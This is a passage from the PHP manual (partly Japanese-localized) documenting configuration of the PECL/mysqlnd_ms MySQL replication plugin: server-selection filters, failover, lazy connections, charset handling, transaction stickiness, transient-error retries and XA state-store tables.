 $ret = NULL;

 printf("User has connected to '%s'...\n", $connected);
 printf("... deciding where to run '%s'\n", $query);

 $where = mysqlnd_ms_query_is_select($query);
 switch ($where)
 {
  case MYSQLND_MS_QUERY_USE_MASTER:
   printf("... using master\n");
   $ret = $masters[0];
   break;
  case MYSQLND_MS_QUERY_USE_SLAVE:
   /* SELECT or SQL hint for using slave */
   if (stristr($query, "FROM table_on_slave_a_only"))
   {
    /* a table which is only on the first configured slave  */
    printf("... access to table available only on slave A detected\n");
    $ret = $slaves[0];
   }
   else
   {
    /* round robin */
    printf("... some read-only query for a slave\n");
    $ret = $slaves[$slave_idx++ % $num_slaves];
   }
   break;
  case MYSQLND_MS_QUERY_LAST_USED:
   printf("... using last used server\n");
   $ret = $last_used_connection;
   break;
 }

 printf("... ret = '%s'\n", $ret);
 return $ret;
}

$mysqli = new mysqli("myapp", "root", "", "test");

if (!($res = $mysqli->query("SELECT 1 FROM DUAL")))
 printf("[%d] %s\n", $mysqli->errno, $mysqli->error);
else
 $res->close();

if (!($res = $mysqli->query("SELECT 2 FROM DUAL")))
 printf("[%d] %s\n", $mysqli->errno, $mysqli->error);
else
 $res->close();

if (!($res = $mysqli->query("SELECT * FROM table_on_slave_a_only")))
 printf("[%d] %s\n", $mysqli->errno, $mysqli->error);
else
 $res->close();

$mysqli->close();
?>

上の例の出力は以下となります。

User has connected to 'myapp'...
... deciding where to run 'SELECT 1 FROM DUAL'
... some read-only query for a slave
... ret = 'tcp://192.168.2.27:3306'
User has connected to 'myapp'...
... deciding where to run 'SELECT 2 FROM DUAL'
... some read-only query for a slave
... ret = 'tcp://192.168.78.136:3306'
User has connected to 'myapp'...
... deciding where to run 'SELECT * FROM table_on_slave_a_only'
... access to table available only on slave A detected
... ret = 'tcp://192.168.2.27:3306'

Filter: user_multi object

The user_multi differs from the user only in one aspect. Otherwise, their syntax is identical. The user filter must pick and return exactly one node for statement execution. A filter chain usually ends with a filter that emits only one node. The filter chain shall reduce the list of candidates for statement execution down to one. This, only one node left, is the case after the user filter has been run.

The user_multi filter is a multi filter. It returns a list of slave and a list of master servers. This list needs further filtering to identify exactly one node for statement execution. A multi filter is typically placed at the top of the filter chain. The quality_of_service filter is another example of a multi filter.

The return value of the callback set for user_multi must be an array with two elements. The first element holds a list of selected master servers. The second element contains a list of selected slave servers. The lists shall contain the keys of the slave and master servers as found in the slave and master lists passed to the callback. The below example returns random master and slave lists extracted from the functions input.

例22 Returning random masters and slaves

<?php
function pick_server($connected, $query, $masters, $slaves, $last_used_connection, $in_transaction)
{
  $picked_masters = array()
  foreach ($masters as $key => $value) {
    if (mt_rand(0, 2) > 1)
      $picked_masters[] = $key;
  }
  $picked_slaves = array()
  foreach ($slaves as $key => $value) {
    if (mt_rand(0, 2) > 1)
      $picked_slaves[] = $key;
  }
  return array($picked_masters, $picked_slaves);
}
?>

The plugin will issue an error of type E_RECOVERABLE if the callback fails to return a server list. The error may read (mysqlnd_ms) User multi filter callback has not returned a list of servers to use. The callback must return an array in %s on line %d. In case the server list is not empty but has invalid servers key/ids in it, an error of type E_RECOVERABLE will the thrown with an error message like (mysqlnd_ms) User multi filter callback has returned an invalid list of servers to use. Server id is negative in %s on line %d, or similar.

Whether an error is emitted in case of an empty slave or master list depends on the configuration. If an empty master list is returned for a write operation, it is likely that the plugin will emit a warning that may read (mysqlnd_ms) Couldn't find the appropriate master connection. 0 masters to choose from. Something is wrong in %s on line %d. Typically a follow up error of type E_ERROR will happen. In case of a read operation and an empty slave list the behavior depends on the fail over configuration. If fail over to master is enabled, no error should appear. If fail over to master is deactivated the plugin will emit a warning that may read (mysqlnd_ms) Couldn't find the appropriate slave connection. 0 slaves to choose from. Something is wrong in %s on line %d.

Filter: node_groups object

The node_groups filter lets you group cluster nodes and query selected groups, for example, to support data partitioning. Data partitioning can be required for manual sharding, primary copy based clusters running multiple masters, or to avoid hot spots in update everywhere clusters that have no built-in partitioning. The filter is a multi filter which returns zero, one or multiple of its input servers. Thus, it must be followed by other filters to reduce the number of candidates down to one for statement execution.

Keyword Description Version
user defined node group name

One or more node groups must be defined. A node group can have an arbitrary user defined name. The name is used in combination with a SQL hint to restrict query execution to the nodes listed for the node group. To run a query on any of the servers of a node group, the query must begin with the SQL hint /*user defined node group name*/. Please note, no white space is allowed around user defined node group name. Because user defined node group name is used as-is as part of a SQL hint, you should choose the name that is compliant with the SQL language.

Each node group entry must contain a list of master servers. Additional slave servers are allowed. Failing to provide a list of master for a node group name_of_group may cause an error of type E_RECOVERABLE_ERROR like (mysqlnd_ms) No masters configured in node group 'name_of_group' for 'node_groups' filter.

The list of master and slave servers must reference corresponding entries in the global master respectively slave server list. Referencing an unknown server in either of the both server lists may cause an E_RECOVERABLE_ERROR error like (mysqlnd_ms) Unknown master 'server_alias_name' (section 'name_of_group') in 'node_groups' filter configuration.

例23 Manual partitioning

{
  "myapp": {
       "master": {
            "master_0": {
                "host": "localhost",
                "socket": "\/tmp\/mysql.sock"
            }
        },
        "slave": {
            "slave_0": {
                "host": "192.168.2.28",
                "port": 3306
            },
            "slave_1": {
                "host": "127.0.0.1",
                "port": 3311
            }
        },
        "filters": {
            "node_groups": {
                "Partition_A" : {
                    "master": ["master_0"],
                    "slave": ["slave_0"]
                }
            },
           "roundrobin": []
        }
    }
}

Please note, if a filter chain generates an empty slave list and the PHP configuration directive mysqlnd_ms.multi_master=0 is used, the plugin may emit a warning.

Since 1.5.0.
Filter: quality_of_service object

The quality_of_service identifies cluster nodes capable of delivering a certain quality of service. It is a multi filter which returns zero, one or multiple of its input servers. Thus, it must be followed by other filters to reduce the number of candidates down to one for statement execution.

The quality_of_service filter has been introduced in 1.2.0-alpha. In the 1.2 series the filters focus is on the consistency aspect of service quality. Different types of clusters offer different default data consistencies. For example, an asynchronous MySQL replication slave offers eventual consistency. The slave may not be able to deliver requested data because it has not replicated the write, it may serve stale database because its lagging behind or it may serve current information. Often, this is acceptable. In some cases higher consistency levels are needed for the application to work correct. In those cases, the quality_of_service can filter out cluster nodes which cannot deliver the necessary quality of service.

The quality_of_service filter can be replaced or created at runtime. A successful call to mysqlnd_ms_set_qos() removes all existing qos filter entries from the filter list and installs a new one at the very beginning. All settings that can be made through mysqlnd_ms_set_qos() can also be in the plugins configuration file. However, use of the function is by far the most common use case. Instead of setting session consistency and strong consistency service levels in the plugins configuration file it is recommended to define only masters and no slaves. Both service levels will force the use of masters only. Using an empty slave list shortens the configuration file, thus improving readability. The only service level for which there is a case of defining in the plugins configuration file is the combination of eventual consistency and maximum slave lag.

Keyword Description Version
eventual_consistency

Request eventual consistency. Allows the use of all master and slave servers. Data returned may or may not be current.

Eventual consistency accepts an optional age parameter. If age is given the plugin considers only slaves for reading for which MySQL replication reports a slave lag less or equal to age. The replication lag is measure using SHOW SLAVE STATUS. If the plugin fails to fetch the replication lag, the slave tested is skipped. Implementation details and tips are given in the quality of service concepts section.

Please note, if a filter chain generates an empty slave list and the PHP configuration directive mysqlnd_ms.multi_master=0 is used, the plugin may emit a warning.

例24 Global limit on slave lag

{
    "myapp": {
        "master": {
            "master_0": {
                "host": "localhost"
            }
        },
        "slave": {
            "slave_0": {
                "host": "192.168.2.27",
                "port": "3306"
            },
            "slave_1": {
                "host": "192.168.78.136",
                "port": "3306"
            }
        },
        "filters": {
            "quality_of_service": {
                "eventual_consistency": {
                    "age":123
                }
            }
        }
    }
}

 Since 1.2.0.
session_consistency

Request session consistency (read your writes). Allows use of all masters and all slaves which are in sync with the master. If no further parameters are given slaves are filtered out as there is no reliable way to test if a slave has caught up to the master or is lagging behind. Please note, if a filter chain generates an empty slave list and the PHP configuration directive mysqlnd_ms.multi_master=0 is used, the plugin may emit a warning.

Session consistency temporarily requested using mysqlnd_ms_set_qos() is a valuable alternative to using master_on_write. master_on_write is likely to send more statements to the master than needed. The application may be able to continue operation at a lower consistency level after it has done some critical reads.

Since 1.1.0.
strong_consistency

Request strong consistency. Only masters will be used.

Since 1.2.0.
failover Up to and including 1.3.x: string. Since 1.4.0: object.

Failover policy. Supported policies: disabled (default), master, loop_before_master (Since 1.4.0).

If no failover policy is set, the plugin will not do any automatic failover (failover=disabled). Whenever the plugin fails to connect a server it will emit a warning and set the connections error code and message. Thereafter it is up to the application to handle the error and, for example, resent the last statement to trigger the selection of another server.

Please note, the automatic failover logic is applied when opening connections only. Once a connection has been opened no automatic attempts are made to reopen it in case of an error. If, for example, the server a connection is connected to is shut down and the user attempts to run a statement on the connection, no automatic failover will be tried. Instead, an error will be reported.

If using failover=master the plugin will implicitly failover to a master, if available. Please check the concepts documentation to learn about potential pitfalls and risks of using failover=master.

例25 Optional master failover when failing to connect to slave (PECL/mysqlnd_ms < 1.4.0)

{
    "myapp": {
        "master": {
            "master_0": {
                "host": "localhost"
            }
        },
        "slave": {
            "slave_0": {
                "host": "192.168.78.136",
                "port": "3306"
            }
        },
        "failover": "master"
    }
}

Since PECL/mysqlnd_ms 1.4.0 the failover configuration keyword refers to an object.

例26 New syntax since 1.4.0

{
    "myapp": {
        "master": {
            "master_0": {
                "host": "localhost"
            }
        },
        "slave": {
            "slave_0": {
                "host": "192.168.78.136",
                "port": "3306"
            }
        },
        "failover": {"strategy": "master" }
    }
}

Keyword Description Version
strategy

Failover policy. Possible values: disabled (default), master, loop_before_master

A value of disabled disables automatic failover.

Setting master instructs the plugin to try to connect to a master in case of a slave connection error. If the master connection attempt fails, the plugin exists the failover loop and returns an error to the user.

If using loop_before_master and a slave request is made, the plugin tries to connect to other slaves before failing over to a master. If multiple master are given and multi master is enabled, the plugin also loops over the list of masters and attempts to connect before returning an error to the user.

Since 1.4.0.
remember_failed

Remember failures for the duration of a web request. Default: false.

If set to true the plugin will remember failed hosts and skip the hosts in all future load balancing made for the duration of the current web request.

Since 1.4.0. The feature is only available together with the random and roundrobin load balancing filter. Use of the setting is recommended.
max_retries

Maximum number of connection attempts before skipping host. Default: 0 (no limit).

The setting is used to prevent hosts from being dropped of the host list upon the first failure. If set to n > 0, the plugin will keep the node in the node list even after a failed connection attempt. The node will not be removed immediately from the slave respectively master lists after the first connection failure but instead be tried to connect to up to n times in future load balancing rounds before being removed.

Since 1.4.0. The feature is only available together with the random and roundrobin load balancing filter.

Setting failover to any other value but disabled, master or loop_before_master will not emit any warning or error.

lazy_connections bool

Controls the use of lazy connections. Lazy connections are connections which are not opened before the client sends the first connection. Lazy connections are a default.

It is strongly recommended to use lazy connections. Lazy connections help to keep the number of open connections low. If you disable lazy connections and, for example, configure one MySQL replication master server and two MySQL replication slaves, the plugin will open three connections upon the first call to a connect function although the application might use the master connection only.

Lazy connections bare a risk if you make heavy use of actions which change the state of a connection. The plugin does not dispatch all state changing actions to all connections from the connection pool. The few dispatched actions are applied to already opened connections only. Lazy connections opened in the future are not affected. Only some settings are "remembered" and applied when lazy connections are opened.

例27 Disabling lazy connection

{
    "myapp": {
        "master": {
            "master_0": {
                "host": "localhost"
            }
        },
        "slave": {
            "slave_0": {
                "host": "192.168.78.136",
                "port": "3306"
            }
        },
        "lazy_connections": 0
    }
}

Please, see also server_charset to overcome potential problems with string escaping and servers using different default charsets.

server_charset string

The setting has been introduced in 1.4.0. It is recommended to set it if using lazy connections.

The server_charset setting serves two purposes. It acts as a fallback charset to be used for string escaping done before a connection has been established and it helps to avoid escaping pitfalls in heterogeneous environments which servers using different default charsets.

String escaping takes a connections charset into account. String escaping is not possible before a connection has been opened and the connections charset is known. The use of lazy connections delays the actual opening of connections until a statement is send.

An application using lazy connections may attempt to escape a string before sending a statement. In fact, this should be a common case as the statement string may contain the string that is to be escaped. However, due to the lazy connection feature no connection has been opened yet and escaping fails. The plugin may report an error of the type E_WARNING and a message like (mysqlnd_ms) string escaping doesn't work without established connection. Possible solution is to add server_charset to your configuration to inform you of the pitfall.

Setting server_charset makes the plugin use the given charset for string escaping done on lazy connection handles before establishing a network connection to MySQL. Furthermore, the plugin will enforce the use of the charset when the connection is established.

Enforcing the use of the configured charset used for escaping is done to prevent tapping into the pitfall of using a different charset for escaping than used later for the connection. This has the additional benefit of removing the need to align the charset configuration of all servers used. No matter what the default charset on any of the servers is, the plugin will set the configured one as a default.

The plugin does not stop the user from changing the charset at any time using the set_charset() call or corresponding SQL statements. Please, note that the use of SQL is not recommended as it cannot be monitored by the plugin. The user can, for example, change the charset on a lazy connection handle after escaping a string and before the actual connection is opened. The charset set by the user will be used for any subsequent escaping before the connection is established. The connection will be established using the configured charset, no matter what the server charset is or what the user has set before. Once a connection has been opened, set_charset is of no meaning anymore.

例28 String escaping on a lazy connection handle

{
    "myapp": {
        "master": {
            "master_0": {
                "host": "localhost"
            }
        },
        "slave": {
            "slave_0": {
                "host": "192.168.78.136",
                "port": "3306"
            }
        },
        "lazy_connections": 1,
        "server_charset" : "utf8mb4"
    }
}
<?php
$mysqli = new mysqli("myapp", "username", "password", "database");
$mysqli->real_escape("this will be escaped using the server_charset setting - utf8mb4");
$mysqli->set_charset("latin1");
$mysqli->real_escape("this will be escaped using latin1");
/* server_charset implicitly set - utf8mb4 connection */
$mysqli->query("SELECT 'This connection will be set to server_charset upon establishing' AS _msg FROM DUAL");
/* latin1 used from now on */
$mysqli->set_charset("latin1");
?>

master_on_write bool

If set, the plugin will use the master server only after the first statement has been executed on the master. Applications can still send statements to the slaves using SQL hints to overrule the automatic decision.

The setting may help with replication lag. If an application runs an INSERT the plugin will, by default, use the master to execute all following statements, including SELECT statements. This helps to avoid problems with reads from slaves which have not replicated the INSERT yet.

例29 Master on write for consistent reads

{
    "myapp": {
        "master": {
            "master_0": {
                "host": "localhost"
            }
        },
        "slave": {
            "slave_0": {
                "host": "192.168.78.136",
                "port": "3306"
            }
        },
        "master_on_write": 1
    }
}

Please, note the quality_of_service filter introduced in version 1.2.0-alpha. It gives finer control, for example, for achieving read-your-writes and, it offers additional functionality introducing service levels.

All transaction stickiness settings, including trx_stickiness=on, are overruled by master_on_write=1.

trx_stickiness string

Transaction stickiness policy. Supported policies: disabled (default), master.

The setting requires 5.4.0 or newer. If used with PHP older than 5.4.0, the plugin will emit a warning like (mysqlnd_ms) trx_stickiness strategy is not supported before PHP 5.3.99.

If no transaction stickiness policy is set or, if setting trx_stickiness=disabled, the plugin is not transaction aware. Thus, the plugin may load balance connections and switch connections in the middle of a transaction. The plugin is not transaction safe. SQL hints must be used avoid connection switches during a transaction.

As of PHP 5.4.0 the mysqlnd library allows the plugin to monitor the autocommit mode set by calls to the libraries set_autocommit() function. If setting set_stickiness=master and autocommit gets disabled by a PHP MySQL extension invoking the mysqlnd library internal function call set_autocommit(), the plugin is made aware of the begin of a transaction. Then, the plugin stops load balancing and directs all statements to the master server until autocommit is enabled. Thus, no SQL hints are required.

An example of a PHP MySQL API function calling the mysqlnd library internal function call set_autocommit() is mysqli_autocommit().

Although setting trx_stickiness=master, the plugin cannot be made aware of autocommit mode changes caused by SQL statements such as SET AUTOCOMMIT=0 or BEGIN.

As of PHP 5.5.0, the mysqlnd library features additional C API calls to control transactions. The level of control matches the one offered by SQL statements. The mysqli API has been modified to use these calls. Since version 1.5.0, PECL/mysqlnd_ms can monitor not only mysqli_autocommit(), but also mysqli_begin(), mysqli_commit() and mysqli_rollback() to detect transaction boundaries and stop load balancing for the duration of a transaction.

例30 Using master to execute transactions

{
    "myapp": {
        "master": {
            "master_0": {
                "host": "localhost"
            }
        },
        "slave": {
            "slave_0": {
                "host": "192.168.78.136",
                "port": "3306"
            }
        },
        "trx_stickiness": "master"
    }
}

Since version 1.5.0 automatic and silent failover is disabled for the duration of a transaction. If the boundaries of a transaction have been properly detected, transaction stickiness is enabled and a server fails, the plugin will not attempt to fail over to the next server, if any, regardless of the failover policy configured. The user must handle the error manually. Depending on the configuration, the plugin may emit an error of type E_WARNING reading like (mysqlnd_ms) Automatic failover is not permitted in the middle of a transaction. This error may then be overwritten by follow up errors such as (mysqlnd_ms) No connection selected by the last filter. Those errors will be generated by the failing query function.

例31 No automatic failover, error handling pitfall

<?php
/* assumption: automatic failover configured */
$mysqli = new mysqli("myapp", "username", "password", "database");

/* sets plugin internal state in_trx = 1 */
$mysqli->autocommit(false);

/* assumption: server fails */
if (!($res = $mysqli->query("SELECT 'Assume this query fails' AS _msg FROM DUAL"))) {
 /* handle failure of transaction, plugin internal state is still in_trx = 1 */
 printf("[%d] %s", $mysqli->errno, $mysqli->error);
 /*
  If using autocommit() based transaction detection it is a
  MUST to call autocommit(true). Otherwise the plugin assumes
  the current transaction continues and connection
  changes remain forbidden.
 */
 $mysqli->autocommit(true);
 /* Likewise, you'll want to start a new transaction */
 $mysqli->autocommit(false);
}
/* latin1 used from now on */
$mysqli->set_charset("latin1");
?>

If a server fails in the middle of a transaction the plugin continues to refuse to switch connections until the current transaction has been finished. Recall that the plugin monitors API calls to detect transaction boundaries. Thus, you have to, for example, enable auto commit mode to end the current transaction before the plugin continues load balancing and switches the server. Likewise, you will want to start a new transaction immediately thereafter and disable auto commit mode again.

Not handling failed queries and not ending a failed transaction using API calls may cause all following commands emit errors such as Commands out of sync; you can't run this command now. Thus, it is important to handle all errors.

transient_error object

The setting has been introduced in 1.6.0.

A database cluster node may reply a transient error to a client. The client can then repeat the operation on the same node, fail over to a different node or abort the operation. Per definition is it safe for a client to retry the same operation on the same node before giving up.

PECL/mysqlnd_ms can perform the retry loop on behalf of the application. By configuring transient_error the plugin can be instructed to repeat operations failing with a certain error code for a certain maximum number of times with a pause between the retries. If the transient error disappears during loop execution, it is hidden from the application. Otherwise, the error is forwarded to the application by the end of the loop.

例32 Retry loop for transient errors

{
    "myapp": {
        "master": {
            "master_0": {
                "host": "localhost"
            }
        },
        "slave": {
            "slave_0": {
                "host": "192.168.78.136",
                "port": "3306"
            }
       },
       "transient_error": {
          "mysql_error_codes": [
            1297
          ],
          "max_retries": 2,
          "usleep_retry": 100
       }
    }
}

Keyword Description Version
mysql_error_codes

List of transient error codes. You may add any MySQL error code to the list. It is possible to consider any error as transient not only 1297 (HY000 (ER_GET_TEMPORARY_ERRMSG), Message: Got temporary error %d '%s' from %s). Before adding other codes but 1297 to the list, make sure your cluster supports a new attempt without impacting the state of your application.

Since 1.6.0.
max_retries

How often to retry an operation which fails with a transient error before forwarding the failure to the user.

Default: 1

Since 1.6.0.
usleep_retry

Milliseconds to sleep between transient error retries. The value is passed to the C function usleep(), hence the name.

Default: 100

Since 1.6.0.
xa object

The setting has been introduced in 1.6.0.

注意: Experimental

The feature is currently under development. There may be issues and/or feature limitations. Do not use in production environments.

state_store
record_participant_credentials

Whether to store the username and password of a global transaction participant in the participants table. If disabled, the garbage collection will use the default username and password when connecting to the participants. Unless you are using a different username and password for each of your MySQL servers, you can use the default and avoid storing the sensible information in state store.

Please note, username and password are stored in clear text when using the MySQL state store, which is the only one available. It is in your responsibility to protect this sensible information.

Default: false

participant_localhost_ip

During XA garbage collection the plugin may find a participant server for which the host localhost has been recorded. If the garbage collection takes place on another host but the host that has written the participant record to the state store, the host name localhost now resolves to a different host. Therefore, when recording a participant servers host name in the state store, a value of localhost must be replaced with the actual IP address of localhost.

Setting participant_localhost_ip should be considered only if using localhost cannot be avoided. From a garbage collection point of view only, it is preferrable not to configure any socket connection but to provide an IP address and port for a node.

mysql

The MySQL state store is the only state store available.

global_trx_table

Name of the MySQL table used to store the state of an ongoing or aborted global transaction. Use the below SQL statement to create the table. Make sure to edit the table name to match your configuration.

Default: mysqlnd_ms_xa_trx

例33 SQL definition for the MySQL state store transaction table

CREATE TABLE mysqlnd_ms_xa_trx (
  store_trx_id int(11) NOT NULL AUTO_INCREMENT,
  gtrid int(11) NOT NULL,
  format_id int(10) unsigned NOT NULL DEFAULT '1',
  state enum('XA_NON_EXISTING','XA_ACTIVE','XA_IDLE','XA_PREPARED','XA_COMMIT','XA_ROLLBACK') NOT NULL DEFAULT 'XA_NON_EXISTING',
  intend enum('XA_NON_EXISTING','XA_ACTIVE','XA_IDLE','XA_PREPARED','XA_COMMIT','XA_ROLLBACK') DEFAULT 'XA_NON_EXISTING',
  finished enum('NO','SUCCESS','FAILURE') NOT NULL DEFAULT 'NO',
  modified timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
  started datetime DEFAULT NULL,
  timeout datetime DEFAULT NULL,
  PRIMARY KEY (store_trx_id),
  KEY idx_xa_id (gtrid,format_id,finished),
  KEY idx_state (state)
) ENGINE=InnoDB

participant_table

Name of the MySQL table used to store participants of an ongoing or aborted global transaction. Use the below SQL statement to create the table. Make sure to edit the table name to match your configuration.

Storing credentials can be enabled and disabled using record_participant_credentials

Default: mysqlnd_ms_xa_participants

例34 SQL definition for the MySQL state store transaction table

CREATE TABLE mysqlnd_ms_xa_participants (
  fk_store_trx_id int(11) NOT NULL,
  bqual varbinary(64) NOT NULL DEFAULT '',
  participant_id int(10) unsigned NOT NULL AUTO_INCREMENT,
  server_uuid varchar(127) DEFAULT NULL,
  scheme varchar(1024) NOT NULL,
  host varchar(127) DEFAULT NULL,
  port smallint(5) unsigned DEFAULT NULL,
  socket varchar(127) DEFAULT NULL,
  user varchar(127) DEFAULT NULL,
  password varchar(127) DEFAULT NULL,
  state enum('XA_NON_EXISTING','XA_ACTIVE','XA_IDLE','XA_PREPARED','XA_COMMIT','XA_ROLLBACK')
   NOT NULL DEFAULT 'XA_NON_EXISTING',
  health enum('OK','GC_DONE','CLIENT ERROR','SERVER ERROR') NOT NULL DEFAULT 'OK',
  connection_id int(10) unsigned DEFAULT NULL,
  client_errno smallint(5) unsigned DEFAULT NULL,
  client_error varchar(1024) DEFAULT NULL,
  modified timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
  PRIMARY KEY (participant_id),
  KEY idx_xa_bqual (bqual),
  KEY idx_store_trx (fk_store_trx_id),
  CONSTRAINT mysqlnd_ms_xa_participants_ibfk_1 FOREIGN KEY (fk_store_trx_id)
    REFERENCES mysqlnd_ms_xa_trx (store_trx_id) ON DELETE CASCADE ON UPDATE CASCADE
) ENGINE=InnoDB
garbage_collection_table

Name of the MySQL table used to track and synchronize garbage collection runs. Use the below SQL statement to create the table. Make sure to edit the table name to match your configuration.

Default: mysqlnd_ms_xa_gc

例35 SQL definition for the MySQL state store garbage collection table

CREATE TABLE mysqlnd_ms_xa_gc (
  gc_id int(10) unsigned NOT NULL AUTO_INCREMENT,
  gtrid int(11) NOT NULL,
  format_id int(10) unsigned NOT NULL DEFAULT '1',
  fk_store_trx_id int(11) DEFAULT NULL,
  modified timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
  attempts smallint(5) unsigned NOT NULL DEFAULT '0',
  PRIMARY KEY (gc_id),
  KEY idx_store_trx (gtrid,format_id,fk_store_trx_id)
) ENGINE=InnoDB
host

Host name of the MySQL server.

user

Name of the user used to connect to the MySQL server.

password

Password for the MySQL server user.

db

Database that holds the garbage collection tables. Please note, you have to create the garbage collection tables prior to using the plugin. The tables will not be created implicitly during runtime but garbage collection will fail if the tables to not exist.

port

Port of the MySQL server.

socket

Unix domain socket of the MySQL server. Please note, if you have multiple PHP servers each of them will try to carry out garbage collection and need to be able to connect to the state store. In this case, you may prefer configuring an IP address and a port for the MySQL state store server to ensure all PHP servers can reach it.

rollback_on_close

Whether to automatically rollback an open global transaction when a connection is closed. If enabled, it mimics the default behaviour of local transactions. Should a client disconnect, the server rolls back any open and unfinished transactions.

Default: true

garbage_collection
max_retries

Maximum number of garbage collection runs before giving up. Allowed values are from 0 to 100. A setting of 0 means no limit, unless the state store enforces a limit. Should the state store enforce a limit, it can be supposed to be significantly higher than 100. Available since 1.6.0.

Please note, it is important to end failed XA transactions within reasonable time to make participating servers free resources bound to the transaction. The built-in garbage collection is not expected to fail for a long period as long as crashed servers become available again quickly. Still, a situation may arise where a human is required to act because the built-in garbage collection stopped or failed. In this case, you may first want to check if the transaction still cannot be fixed by forcing mysqlnd_ms_xa_gc() to ignore the setting, prior to handling it manually.

Default: 5

probability

Garbage collection probability. Allowed values are from 0 to 1000. A setting of 0 disables automatic background garbage collection. Despite a setting of 0 it is still possible to trigger garbage collection by calling mysqlnd_ms_gc(). Available since 1.6.0.

The automatic garbage collection of stalled XA transaction is only available if a state store have been configured. The state store is responsible to keep track of XA transactions. Based on its recordings it can find blocked XA transactions where the client has crashed, connect to the participants and rollback the unfinished transactions.

The garbage collection is triggered as part of PHP's request shutdown procedure at the end of a web request. That is after your PHP script has finished working. Do decide whether to run the garbage collection a random value between 0 and 1000 is computed. If the probability value is higher or equal to the random value, the state stores garbage collection routines are invoked.

Default: 5

max_transactions_per_run

Maximum number of unfinished XA transactions considered by the garbage collection during one run. Allowed values are from 1 to 32768. Available since 1.6.0.

Cleaning up an unfinished XA transaction takes considerable amounts of time and resources. The garbage collection routine may have to connect to several participants of a failed global transaction to issue the SQL commands for rolling back the unfinished tranaction.

Default: 100

Plugin configuration file (<= 1.0.x)

注意:

The below description applies to PECL/mysqlnd_ms < 1.1.0-beta. It is not valid for later versions.

The plugin is using its own configuration file. The configuration file holds information on the MySQL replication master server, the MySQL replication slave servers, the server pick (load balancing) policy, the failover strategy and the use of lazy connections.

The PHP configuration directive mysqlnd_ms.ini_file is used to set the plugins configuration file.

The configuration file mimics standard the php.ini format. It consists of one or more sections. Every section defines its own unit of settings. There is no global section for setting defaults.

Applications reference sections by their name. Applications use section names as the host (server) parameter to the various connect methods of the mysqli, mysql and PDO_MYSQL extensions. Upon connect the mysqlnd plugin compares the hostname with all section names from the plugin configuration file. If hostname and section name match, the plugin will load the sections settings.

例36 Using section names example

[myapp]
master[] = localhost
slave[] = 192.168.2.27
slave[] = 192.168.2.28:3306
[localhost]
master[] = localhost:/tmp/mysql/mysql.sock
slave[] = 192.168.3.24:3305
slave[] = 192.168.3.65:3309
<?php
/* All of the following connections will be load balanced */
$mysqli = new mysqli("myapp", "username", "password", "database");
$pdo = new PDO('mysql:host=myapp;dbname=database', 'username', 'password');
$mysql = mysql_connect("myapp", "username", "password");

$mysqli = new mysqli("localhost", "username", "password", "database");
?>

Section names are strings. It is valid to use a section name such as 192.168.2.1, 127.0.0.1 or localhost. If, for example, an application connects to localhost and a plugin configuration section [localhost] exists, the semantics of the connect operation are changed. The application will no longer only use the MySQL server running on the host localhost but the plugin will start to load balance MySQL queries following the rules from the [localhost] configuration section. This way you can load balance queries from an application without changing the applications source code.

The master[], slave[] and pick[] configuration directives use a list-like syntax. Configuration directives supporting list-like syntax may appear multiple times in a configuration section. The plugin maintains the order in which entries appear when interpreting them. For example, the below example shows two slave[] configuration directives in the configuration section [myapp]. If doing round-robin load balancing for read-only queries, the plugin will send the first read-only query to the MySQL server mysql_slave_1 because it is the first in the list. The second read-only query will be send to the MySQL server mysql_slave_2 because it is the second in the list. Configuration directives supporting list-like syntax result are ordered from top to bottom in accordance to their appearance within a configuration section.

例37 List-like syntax

[myapp]
master[] = mysql_master_server
slave[] = mysql_slave_1
slave[] = mysql_slave_2

Here is a short explanation of the configuration directives that can be used.

master[] string

URI of a MySQL replication master server. The URI follows the syntax hostname[:port|unix_domain_socket].

The plugin supports using only one master server.

Setting a master server is mandatory. The plugin will report a warning upon connect if the user has failed to provide a master server for a configuration section. The warning may read (mysqlnd_ms) Cannot find master section in config. Furthermore the plugin may set an error code for the connection handle such as HY000/2000 (CR_UNKNOWN_ERROR). The corresponding error message depends on your language settings.

slave[] string

URI of one or more MySQL replication slave servers. The URI follows the syntax hostname[:port|unix_domain_socket].

The plugin supports using one or more slave servers.

Setting a slave server is mandatory. The plugin will report a warning upon connect if the user has failed to provide at least one slave server for a configuration section. The warning may read (mysqlnd_ms) Cannot find slaves section in config. Furthermore the plugin may set an error code for the connection handle such as HY000/2000 (CR_UNKNOWN_ERROR). The corresponding error message depends on your language settings.

pick[] string

Load balancing (server picking) policy. Supported policies: random, random_once (default), roundrobin, user.

If no load balancing policy is set, the plugin will default to random_once. The random_once policy picks a random slave server when running the first read-only statement. The slave server will be used for all read-only statements until the PHP script execution ends.

The random policy will pick a random server whenever a read-only statement is to be executed.

If using roundrobin the plugin iterates over the list of configured slave servers to pick a server for statement execution. If the plugin reaches the end of the list, it wraps around to the beginning of the list and picks the first configured slave server.

Setting more than one load balancing policy for a configuration section makes only sense in conjunction with user and mysqlnd_ms_set_user_pick_server(). If the user defined callback fails to pick a server, the plugin falls back to the second configured load balancing policy.

failover string

Failover policy. Supported policies: disabled (default), master.

If no failover policy is set, the plugin will not do any automatic failover (failover=disabled). Whenever the plugin fails to connect a server it will emit a warning and set the connections error code and message. Thereafter it is up to the application to handle the error and, for example, resent the last statement to trigger the selection of another server.

If using failover=master the plugin will implicitly failover to a slave, if available. Please check the concepts documentation to learn about potential pitfalls and risks of using failover=master.

lazy_connections bool

Controls the use of lazy connections. Lazy connections are connections which are not opened before the client sends the first connection.

It is strongly recommended to use lazy connections. Lazy connections help to keep the number of open connections low. If you disable lazy connections and, for example, configure one MySQL replication master server and two MySQL replication slaves, the plugin will open three connections upon the first call to a connect function although the application might use the master connection only.

Lazy connections bare a risk if you make heavy use of actions which change the state of a connection. The plugin does not dispatch all state changing actions to all connections from the connection pool. The few dispatched actions are applied to already opened connections only. Lazy connections opened in the future are not affected. If, for example, the connection character set is changed using a PHP MySQL API call, the plugin will change the character set of all currently opened connection. It will not remember the character set change to apply it on lazy connections opened in the future. As a result the internal connection pool would hold connections using different character sets. This is not desired. Remember that character sets are taken into account for escaping.

master_on_write bool

If set, the plugin will use the master server only after the first statement has been executed on the master. Applications can still send statements to the slaves using SQL hints to overrule the automatic decision.

The setting may help with replication lag. If an application runs an INSERT the plugin will, by default, use the master to execute all following statements, including SELECT statements. This helps to avoid problems with reads from slaves which have not replicated the INSERT yet.

trx_stickiness string

Transaction stickiness policy. Supported policies: disabled (default), master.

Experimental feature.

